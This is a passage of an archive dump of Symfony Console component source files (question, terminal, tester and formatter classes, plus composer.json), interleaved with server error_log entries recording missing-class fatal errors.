callable (a string), a closure or a class implementing __invoke. * * @return $this */ public function setNormalizer(callable $normalizer): static { $this->normalizer = $normalizer(...); return $this; } /** * Gets the normalizer for the response. * * The normalizer can ba a callable (a string), a closure or a class implementing __invoke. */ public function getNormalizer(): ?callable { return $this->normalizer; } /** * @return bool */ protected function isAssoc(array $array) { return (bool) \count(array_filter(array_keys($array), 'is_string')); } public function isTrimmable(): bool { return $this->trimmable; } /** * @return $this */ public function setTrimmable(bool $trimmable): static { $this->trimmable = $trimmable; return $this; } } console/Question/ChoiceQuestion.php000064400000011711151113512000013436 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Question; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * Represents a choice question. * * @author Fabien Potencier */ class ChoiceQuestion extends Question { private array $choices; private bool $multiselect = false; private string $prompt = ' > '; private string $errorMessage = 'Value "%s" is invalid'; /** * @param string $question The question to ask to the user * @param array $choices The list of available choices * @param mixed $default The default answer to return */ public function __construct(string $question, array $choices, mixed $default = null) { if (!$choices) { throw new \LogicException('Choice question must have at least 1 choice available.'); } parent::__construct($question, $default); $this->choices = $choices; $this->setValidator($this->getDefaultValidator()); $this->setAutocompleterValues($choices); } /** * Returns available choices. */ public function getChoices(): array { return $this->choices; } /** * Sets multiselect option. * * When multiselect is set to true, multiple choices can be answered. * * @return $this */ public function setMultiselect(bool $multiselect): static { $this->multiselect = $multiselect; $this->setValidator($this->getDefaultValidator()); return $this; } /** * Returns whether the choices are multiselect. */ public function isMultiselect(): bool { return $this->multiselect; } /** * Gets the prompt for choices. */ public function getPrompt(): string { return $this->prompt; } /** * Sets the prompt for choices. * * @return $this */ public function setPrompt(string $prompt): static { $this->prompt = $prompt; return $this; } /** * Sets the error message for invalid values. * * The error message has a string placeholder (%s) for the invalid value. * * @return $this */ public function setErrorMessage(string $errorMessage): static { $this->errorMessage = $errorMessage; $this->setValidator($this->getDefaultValidator()); return $this; } private function getDefaultValidator(): callable { $choices = $this->choices; $errorMessage = $this->errorMessage; $multiselect = $this->multiselect; $isAssoc = $this->isAssoc($choices); return function ($selected) use ($choices, $errorMessage, $multiselect, $isAssoc) { if ($multiselect) { // Check for a separated comma values if (!preg_match('/^[^,]+(?:,[^,]+)*$/', (string) $selected, $matches)) { throw new InvalidArgumentException(sprintf($errorMessage, $selected)); } $selectedChoices = explode(',', (string) $selected); } else { $selectedChoices = [$selected]; } if ($this->isTrimmable()) { foreach ($selectedChoices as $k => $v) { $selectedChoices[$k] = trim((string) $v); } } $multiselectChoices = []; foreach ($selectedChoices as $value) { $results = []; foreach ($choices as $key => $choice) { if ($choice === $value) { $results[] = $key; } } if (\count($results) > 1) { throw new InvalidArgumentException(sprintf('The provided answer is ambiguous. Value should be one of "%s".', implode('" or "', $results))); } $result = array_search($value, $choices); if (!$isAssoc) { if (false !== $result) { $result = $choices[$result]; } elseif (isset($choices[$value])) { $result = $choices[$value]; } } elseif (false === $result && isset($choices[$value])) { $result = $value; } if (false === $result) { throw new InvalidArgumentException(sprintf($errorMessage, $value)); } // For associative choices, consistently return the key as string: $multiselectChoices[] = $isAssoc ? (string) $result : $result; } if ($multiselect) { return $multiselectChoices; } return current($multiselectChoices); }; } } console/Question/error_log000064400000003337151113512000011725 0ustar00[19-Nov-2025 12:40:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Question\Question" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ConfirmationQuestion.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ConfirmationQuestion.php on line 19 [19-Nov-2025 12:55:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Question\Question" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ChoiceQuestion.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ChoiceQuestion.php on line 21 [25-Nov-2025 03:28:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Question\Question" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ChoiceQuestion.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ChoiceQuestion.php on line 21 [26-Nov-2025 01:19:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Question\Question" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ChoiceQuestion.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ChoiceQuestion.php on line 21 [26-Nov-2025 01:56:49 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Question\Question" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ConfirmationQuestion.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Question/ConfirmationQuestion.php on line 19 console/Question/ConfirmationQuestion.php000064400000003041151113512000014671 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Question; /** * Represents a yes/no question. * * @author Fabien Potencier */ class ConfirmationQuestion extends Question { private string $trueAnswerRegex; /** * @param string $question The question to ask to the user * @param bool $default The default answer to return, true or false * @param string $trueAnswerRegex A regex to match the "yes" answer */ public function __construct(string $question, bool $default = true, string $trueAnswerRegex = '/^y/i') { parent::__construct($question, $default); $this->trueAnswerRegex = $trueAnswerRegex; $this->setNormalizer($this->getDefaultNormalizer()); } /** * Returns the default answer normalizer. */ private function getDefaultNormalizer(): callable { $default = $this->getDefault(); $regex = $this->trueAnswerRegex; return function ($answer) use ($default, $regex) { if (\is_bool($answer)) { return $answer; } $answerIsTrue = (bool) preg_match($regex, $answer); if (false === $default) { return $answer && $answerIsTrue; } return '' === $answer || $answerIsTrue; }; } } console/composer.json000064400000003005151113512000010713 0ustar00{ "name": "symfony/console", "type": "library", "description": "Eases the creation of beautiful and testable command line interfaces", "keywords": ["console", "cli", "command-line", "terminal"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.0", "symfony/service-contracts": "^2.5|^3", "symfony/string": "^5.4|^6.0" }, "require-dev": { "symfony/config": "^5.4|^6.0", "symfony/event-dispatcher": "^5.4|^6.0", "symfony/dependency-injection": "^5.4|^6.0", "symfony/lock": "^5.4|^6.0", "symfony/process": "^5.4|^6.0", "symfony/var-dumper": "^5.4|^6.0", "psr/log": "^1|^2|^3" }, "provide": { "psr/log-implementation": "1.0|2.0|3.0" }, "conflict": { "symfony/dependency-injection": "<5.4", "symfony/dotenv": "<5.4", "symfony/event-dispatcher": "<5.4", "symfony/lock": "<5.4", "symfony/process": "<5.4" }, "autoload": { "psr-4": { "Symfony\\Component\\Console\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } console/Terminal.php000064400000015617151113512000010471 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Output\AnsiColorMode; class Terminal { public const DEFAULT_COLOR_MODE = AnsiColorMode::Ansi4; private static ?AnsiColorMode $colorMode = null; private static ?int $width = null; private static ?int $height = null; private static ?bool $stty = null; /** * About Ansi color types: https://en.wikipedia.org/wiki/ANSI_escape_code#Colors * For more information about true color support with terminals https://github.com/termstandard/colors/. */ public static function getColorMode(): AnsiColorMode { // Use Cache from previous run (or user forced mode) if (null !== self::$colorMode) { return self::$colorMode; } // Try with $COLORTERM first if (\is_string($colorterm = getenv('COLORTERM'))) { $colorterm = strtolower($colorterm); if (str_contains($colorterm, 'truecolor')) { self::setColorMode(AnsiColorMode::Ansi24); return self::$colorMode; } if (str_contains($colorterm, '256color')) { self::setColorMode(AnsiColorMode::Ansi8); return self::$colorMode; } } // Try with $TERM if (\is_string($term = getenv('TERM'))) { $term = strtolower($term); if (str_contains($term, 'truecolor')) { self::setColorMode(AnsiColorMode::Ansi24); return self::$colorMode; } if (str_contains($term, '256color')) { self::setColorMode(AnsiColorMode::Ansi8); return self::$colorMode; } } self::setColorMode(self::DEFAULT_COLOR_MODE); return self::$colorMode; } /** * Force a terminal color mode rendering. */ public static function setColorMode(?AnsiColorMode $colorMode): void { self::$colorMode = $colorMode; } /** * Gets the terminal width. */ public function getWidth(): int { $width = getenv('COLUMNS'); if (false !== $width) { return (int) trim($width); } if (null === self::$width) { self::initDimensions(); } return self::$width ?: 80; } /** * Gets the terminal height. */ public function getHeight(): int { $height = getenv('LINES'); if (false !== $height) { return (int) trim($height); } if (null === self::$height) { self::initDimensions(); } return self::$height ?: 50; } /** * @internal */ public static function hasSttyAvailable(): bool { if (null !== self::$stty) { return self::$stty; } // skip check if shell_exec function is disabled if (!\function_exists('shell_exec')) { return false; } return self::$stty = (bool) shell_exec('stty 2> '.('\\' === \DIRECTORY_SEPARATOR ? 'NUL' : '/dev/null')); } private static function initDimensions(): void { if ('\\' === \DIRECTORY_SEPARATOR) { $ansicon = getenv('ANSICON'); if (false !== $ansicon && preg_match('/^(\d+)x(\d+)(?: \((\d+)x(\d+)\))?$/', trim($ansicon), $matches)) { // extract [w, H] from "wxh (WxH)" // or [w, h] from "wxh" self::$width = (int) $matches[1]; self::$height = isset($matches[4]) ? (int) $matches[4] : (int) $matches[2]; } elseif (!self::hasVt100Support() && self::hasSttyAvailable()) { // only use stty on Windows if the terminal does not support vt100 (e.g. Windows 7 + git-bash) // testing for stty in a Windows 10 vt100-enabled console will implicitly disable vt100 support on STDOUT self::initDimensionsUsingStty(); } elseif (null !== $dimensions = self::getConsoleMode()) { // extract [w, h] from "wxh" self::$width = (int) $dimensions[0]; self::$height = (int) $dimensions[1]; } } else { self::initDimensionsUsingStty(); } } /** * Returns whether STDOUT has vt100 support (some Windows 10+ configurations). */ private static function hasVt100Support(): bool { return \function_exists('sapi_windows_vt100_support') && sapi_windows_vt100_support(fopen('php://stdout', 'w')); } /** * Initializes dimensions using the output of an stty columns line. */ private static function initDimensionsUsingStty(): void { if ($sttyString = self::getSttyColumns()) { if (preg_match('/rows.(\d+);.columns.(\d+);/is', $sttyString, $matches)) { // extract [w, h] from "rows h; columns w;" self::$width = (int) $matches[2]; self::$height = (int) $matches[1]; } elseif (preg_match('/;.(\d+).rows;.(\d+).columns/is', $sttyString, $matches)) { // extract [w, h] from "; h rows; w columns" self::$width = (int) $matches[2]; self::$height = (int) $matches[1]; } } } /** * Runs and parses mode CON if it's available, suppressing any error output. * * @return int[]|null An array composed of the width and the height or null if it could not be parsed */ private static function getConsoleMode(): ?array { $info = self::readFromProcess('mode CON'); if (null === $info || !preg_match('/--------+\r?\n.+?(\d+)\r?\n.+?(\d+)\r?\n/', $info, $matches)) { return null; } return [(int) $matches[2], (int) $matches[1]]; } /** * Runs and parses stty -a if it's available, suppressing any error output. */ private static function getSttyColumns(): ?string { return self::readFromProcess(['stty', '-a']); } private static function readFromProcess(string|array $command): ?string { if (!\function_exists('proc_open')) { return null; } $descriptorspec = [ 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $cp = \function_exists('sapi_windows_cp_set') ? sapi_windows_cp_get() : 0; $process = proc_open($command, $descriptorspec, $pipes, null, null, ['suppress_errors' => true]); if (!\is_resource($process)) { return null; } $info = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if ($cp) { sapi_windows_cp_set($cp); } return $info; } } console/Tester/ApplicationTester.php000064400000005155151113512000013612 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester; use Symfony\Component\Console\Application; use Symfony\Component\Console\Input\ArrayInput; /** * Eases the testing of console applications. * * When testing an application, don't forget to disable the auto exit flag: * * $application = new Application(); * $application->setAutoExit(false); * * @author Fabien Potencier */ class ApplicationTester { use TesterTrait; private Application $application; public function __construct(Application $application) { $this->application = $application; } /** * Executes the application. * * Available options: * * * interactive: Sets the input interactive flag * * decorated: Sets the output decorated flag * * verbosity: Sets the output verbosity flag * * capture_stderr_separately: Make output of stdOut and stdErr separately available * * @return int The command exit code */ public function run(array $input, array $options = []): int { $prevShellVerbosity = getenv('SHELL_VERBOSITY'); try { $this->input = new ArrayInput($input); if (isset($options['interactive'])) { $this->input->setInteractive($options['interactive']); } if ($this->inputs) { $this->input->setStream(self::createStream($this->inputs)); } $this->initOutput($options); return $this->statusCode = $this->application->run($this->input, $this->output); } finally { // SHELL_VERBOSITY is set by Application::configureIO so we need to unset/reset it // to its previous value to avoid one test's verbosity to spread to the following tests if (false === $prevShellVerbosity) { if (\function_exists('putenv')) { @putenv('SHELL_VERBOSITY'); } unset($_ENV['SHELL_VERBOSITY']); unset($_SERVER['SHELL_VERBOSITY']); } else { if (\function_exists('putenv')) { @putenv('SHELL_VERBOSITY='.$prevShellVerbosity); } $_ENV['SHELL_VERBOSITY'] = $prevShellVerbosity; $_SERVER['SHELL_VERBOSITY'] = $prevShellVerbosity; } } } } console/Tester/Constraint/CommandIsSuccessful.php000064400000002040151113512000016204 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Console\Command\Command; final class CommandIsSuccessful extends Constraint { public function toString(): string { return 'is successful'; } protected function matches($other): bool { return Command::SUCCESS === $other; } protected function failureDescription($other): string { return 'the command '.$this->toString(); } protected function additionalFailureDescription($other): string { $mapping = [ Command::FAILURE => 'Command failed.', Command::INVALID => 'Command was invalid.', ]; return $mapping[$other] ?? sprintf('Command returned exit status %d.', $other); } } console/Tester/CommandCompletionTester.php000064400000003000151113512000014742 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; /** * Eases the testing of command completion. * * @author Jérôme Tamarelle */ class CommandCompletionTester { private $command; public function __construct(Command $command) { $this->command = $command; } /** * Create completion suggestions from input tokens. */ public function complete(array $input): array { $currentIndex = \count($input); if ('' === end($input)) { array_pop($input); } array_unshift($input, $this->command->getName()); $completionInput = CompletionInput::fromTokens($input, $currentIndex); $completionInput->bind($this->command->getDefinition()); $suggestions = new CompletionSuggestions(); $this->command->complete($completionInput, $suggestions); $options = []; foreach ($suggestions->getOptionSuggestions() as $option) { $options[] = '--'.$option->getName(); } return array_map('strval', array_merge($options, $suggestions->getValueSuggestions())); } } console/Tester/TesterTrait.php000064400000013146151113512000012431 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester; use PHPUnit\Framework\Assert; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\ConsoleOutput; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Output\StreamOutput; use Symfony\Component\Console\Tester\Constraint\CommandIsSuccessful; /** * @author Amrouche Hamza */ trait TesterTrait { private StreamOutput $output; private array $inputs = []; private bool $captureStreamsIndependently = false; private InputInterface $input; private int $statusCode; /** * Gets the display returned by the last execution of the command or application. * * @throws \RuntimeException If it's called before the execute method */ public function getDisplay(bool $normalize = false): string { if (!isset($this->output)) { throw new \RuntimeException('Output not initialized, did you execute the command before requesting the display?'); } rewind($this->output->getStream()); $display = stream_get_contents($this->output->getStream()); if ($normalize) { $display = str_replace(\PHP_EOL, "\n", $display); } return $display; } /** * Gets the output written to STDERR by the application. * * @param bool $normalize Whether to normalize end of lines to \n or not */ public function getErrorOutput(bool $normalize = false): string { if (!$this->captureStreamsIndependently) { throw new \LogicException('The error output is not available when the tester is run without "capture_stderr_separately" option set.'); } rewind($this->output->getErrorOutput()->getStream()); $display = stream_get_contents($this->output->getErrorOutput()->getStream()); if ($normalize) { $display = str_replace(\PHP_EOL, "\n", $display); } return $display; } /** * Gets the input instance used by the last execution of the command or application. */ public function getInput(): InputInterface { return $this->input; } /** * Gets the output instance used by the last execution of the command or application. */ public function getOutput(): OutputInterface { return $this->output; } /** * Gets the status code returned by the last execution of the command or application. * * @throws \RuntimeException If it's called before the execute method */ public function getStatusCode(): int { return $this->statusCode ?? throw new \RuntimeException('Status code not initialized, did you execute the command before requesting the status code?'); } public function assertCommandIsSuccessful(string $message = ''): void { Assert::assertThat($this->statusCode, new CommandIsSuccessful(), $message); } /** * Sets the user inputs. * * @param array $inputs An array of strings representing each input * passed to the command input stream * * @return $this */ public function setInputs(array $inputs): static { $this->inputs = $inputs; return $this; } /** * Initializes the output property. * * Available options: * * * decorated: Sets the output decorated flag * * verbosity: Sets the output verbosity flag * * capture_stderr_separately: Make output of stdOut and stdErr separately available */ private function initOutput(array $options): void { $this->captureStreamsIndependently = \array_key_exists('capture_stderr_separately', $options) && $options['capture_stderr_separately']; if (!$this->captureStreamsIndependently) { $this->output = new StreamOutput(fopen('php://memory', 'w', false)); if (isset($options['decorated'])) { $this->output->setDecorated($options['decorated']); } if (isset($options['verbosity'])) { $this->output->setVerbosity($options['verbosity']); } } else { $this->output = new ConsoleOutput( $options['verbosity'] ?? ConsoleOutput::VERBOSITY_NORMAL, $options['decorated'] ?? null ); $errorOutput = new StreamOutput(fopen('php://memory', 'w', false)); $errorOutput->setFormatter($this->output->getFormatter()); $errorOutput->setVerbosity($this->output->getVerbosity()); $errorOutput->setDecorated($this->output->isDecorated()); $reflectedOutput = new \ReflectionObject($this->output); $strErrProperty = $reflectedOutput->getProperty('stderr'); $strErrProperty->setValue($this->output, $errorOutput); $reflectedParent = $reflectedOutput->getParentClass(); $streamProperty = $reflectedParent->getProperty('stream'); $streamProperty->setValue($this->output, fopen('php://memory', 'w', false)); } } /** * @return resource */ private static function createStream(array $inputs) { $stream = fopen('php://memory', 'r+', false); foreach ($inputs as $input) { fwrite($stream, $input.\PHP_EOL); } rewind($stream); return $stream; } } console/Tester/error_log000064400000002657151113512000011370 0ustar00[20-Nov-2025 05:22:42 UTC] PHP Fatal error: Trait "Symfony\Component\Console\Tester\TesterTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Tester/ApplicationTester.php on line 27 [20-Nov-2025 05:33:31 UTC] PHP Fatal error: Trait "Symfony\Component\Console\Tester\TesterTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Tester/ApplicationTester.php on line 27 [20-Nov-2025 05:42:08 UTC] PHP Fatal error: Trait "Symfony\Component\Console\Tester\TesterTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Tester/ApplicationTester.php on line 27 [25-Nov-2025 02:56:01 UTC] PHP Fatal error: Trait "Symfony\Component\Console\Tester\TesterTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Tester/CommandTester.php on line 23 [25-Nov-2025 03:23:23 UTC] PHP Fatal error: Trait "Symfony\Component\Console\Tester\TesterTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Tester/ApplicationTester.php on line 27 [26-Nov-2025 01:36:06 UTC] PHP Fatal error: Trait "Symfony\Component\Console\Tester\TesterTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Tester/CommandTester.php on line 23 [26-Nov-2025 01:53:39 UTC] PHP Fatal error: Trait "Symfony\Component\Console\Tester\TesterTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Tester/ApplicationTester.php on line 27 console/Tester/CommandTester.php000064400000004507151113512000012725 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Tester; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\ArrayInput; /** * Eases the testing of console commands. * * @author Fabien Potencier * @author Robin Chalas */ class CommandTester { use TesterTrait; private Command $command; public function __construct(Command $command) { $this->command = $command; } /** * Executes the command. * * Available execution options: * * * interactive: Sets the input interactive flag * * decorated: Sets the output decorated flag * * verbosity: Sets the output verbosity flag * * capture_stderr_separately: Make output of stdOut and stdErr separately available * * @param array $input An array of command arguments and options * @param array $options An array of execution options * * @return int The command exit code */ public function execute(array $input, array $options = []): int { // set the command name automatically if the application requires // this argument and no command name was passed if (!isset($input['command']) && (null !== $application = $this->command->getApplication()) && $application->getDefinition()->hasArgument('command') ) { $input = array_merge(['command' => $this->command->getName()], $input); } $this->input = new ArrayInput($input); // Use an in-memory input stream even if no inputs are set so that QuestionHelper::ask() does not rely on the blocking STDIN. $this->input->setStream(self::createStream($this->inputs)); if (isset($options['interactive'])) { $this->input->setInteractive($options['interactive']); } if (!isset($options['decorated'])) { $options['decorated'] = false; } $this->initOutput($options); return $this->statusCode = $this->command->run($this->input, $this->output); } } console/Formatter/WrappableOutputFormatterInterface.php000064400000001312151113512010017510 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * Formatter interface for console output that supports word wrapping. * * @author Roland Franssen */ interface WrappableOutputFormatterInterface extends OutputFormatterInterface { /** * Formats a message according to the given styles, wrapping at `$width` (0 means no wrapping). * * @return string */ public function formatAndWrap(?string $message, int $width); } console/Formatter/OutputFormatterStyleStack.php000064400000005031151113512010016042 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Contracts\Service\ResetInterface; /** * @author Jean-François Simon */ class OutputFormatterStyleStack implements ResetInterface { /** * @var OutputFormatterStyleInterface[] */ private array $styles = []; private OutputFormatterStyleInterface $emptyStyle; public function __construct(OutputFormatterStyleInterface $emptyStyle = null) { $this->emptyStyle = $emptyStyle ?? new OutputFormatterStyle(); $this->reset(); } /** * Resets stack (ie. empty internal arrays). * * @return void */ public function reset() { $this->styles = []; } /** * Pushes a style in the stack. * * @return void */ public function push(OutputFormatterStyleInterface $style) { $this->styles[] = $style; } /** * Pops a style from the stack. * * @throws InvalidArgumentException When style tags incorrectly nested */ public function pop(OutputFormatterStyleInterface $style = null): OutputFormatterStyleInterface { if (!$this->styles) { return $this->emptyStyle; } if (null === $style) { return array_pop($this->styles); } foreach (array_reverse($this->styles, true) as $index => $stackedStyle) { if ($style->apply('') === $stackedStyle->apply('')) { $this->styles = \array_slice($this->styles, 0, $index); return $stackedStyle; } } throw new InvalidArgumentException('Incorrectly nested style tag found.'); } /** * Computes current style with stacks top codes. */ public function getCurrent(): OutputFormatterStyleInterface { if (!$this->styles) { return $this->emptyStyle; } return $this->styles[\count($this->styles) - 1]; } /** * @return $this */ public function setEmptyStyle(OutputFormatterStyleInterface $emptyStyle): static { $this->emptyStyle = $emptyStyle; return $this; } public function getEmptyStyle(): OutputFormatterStyleInterface { return $this->emptyStyle; } } console/Formatter/NullOutputFormatterStyle.php000064400000002531151113512010015711 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * @author Tien Xuan Vo */ final class NullOutputFormatterStyle implements OutputFormatterStyleInterface { public function apply(string $text): string { return $text; } public function setBackground(string $color = null): void { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } // do nothing } public function setForeground(string $color = null): void { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } // do nothing } public function setOption(string $option): void { // do nothing } public function setOptions(array $options): void { // do nothing } public function unsetOption(string $option): void { // do nothing } } console/Formatter/OutputFormatterStyle.php000064400000006345151113512010015065 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; use Symfony\Component\Console\Color; /** * Formatter style class for defining styles. * * @author Konstantin Kudryashov */ class OutputFormatterStyle implements OutputFormatterStyleInterface { private Color $color; private string $foreground; private string $background; private array $options; private ?string $href = null; private bool $handlesHrefGracefully; /** * Initializes output formatter style. * * @param string|null $foreground The style foreground color name * @param string|null $background The style background color name */ public function __construct(string $foreground = null, string $background = null, array $options = []) { $this->color = new Color($this->foreground = $foreground ?: '', $this->background = $background ?: '', $this->options = $options); } /** * @return void */ public function setForeground(string $color = null) { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->color = new Color($this->foreground = $color ?: '', $this->background, $this->options); } /** * @return void */ public function setBackground(string $color = null) { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->color = new Color($this->foreground, $this->background = $color ?: '', $this->options); } public function setHref(string $url): void { $this->href = $url; } /** * @return void */ public function setOption(string $option) { $this->options[] = $option; $this->color = new Color($this->foreground, $this->background, $this->options); } /** * @return void */ public function unsetOption(string $option) { $pos = array_search($option, $this->options); if (false !== $pos) { unset($this->options[$pos]); } $this->color = new Color($this->foreground, $this->background, $this->options); } /** * @return void */ public function setOptions(array $options) { $this->color = new Color($this->foreground, $this->background, $this->options = $options); } public function apply(string $text): string { $this->handlesHrefGracefully ??= 'JetBrains-JediTerm' !== getenv('TERMINAL_EMULATOR') && (!getenv('KONSOLE_VERSION') || (int) getenv('KONSOLE_VERSION') > 201100) && !isset($_SERVER['IDEA_INITIAL_DIRECTORY']); if (null !== $this->href && $this->handlesHrefGracefully) { $text = "\033]8;;$this->href\033\\$text\033]8;;\033\\"; } return $this->color->apply($text); } } console/Formatter/error_log000064400000021334151113512010012057 0ustar00[20-Nov-2025 03:49:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterStyleInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyle.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyle.php on line 21 [20-Nov-2025 03:51:21 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyleStack.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyleStack.php on line 20 [20-Nov-2025 03:54:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php on line 19 [20-Nov-2025 03:55:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\WrappableOutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatter.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatter.php on line 24 [20-Nov-2025 03:56:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatter.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatter.php on line 17 [20-Nov-2025 04:07:01 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterStyleInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatterStyle.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatterStyle.php on line 17 [20-Nov-2025 07:48:36 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\WrappableOutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatter.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatter.php on line 24 [20-Nov-2025 07:49:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyleStack.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyleStack.php on line 20 [20-Nov-2025 07:50:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/WrappableOutputFormatterInterface.php on line 19 [20-Nov-2025 07:51:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterStyleInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyle.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/OutputFormatterStyle.php on line 21 [20-Nov-2025 07:57:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Formatter\OutputFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Formatter/NullOutputFormatter.php:17 Stack trace: #0 {main} thrown in 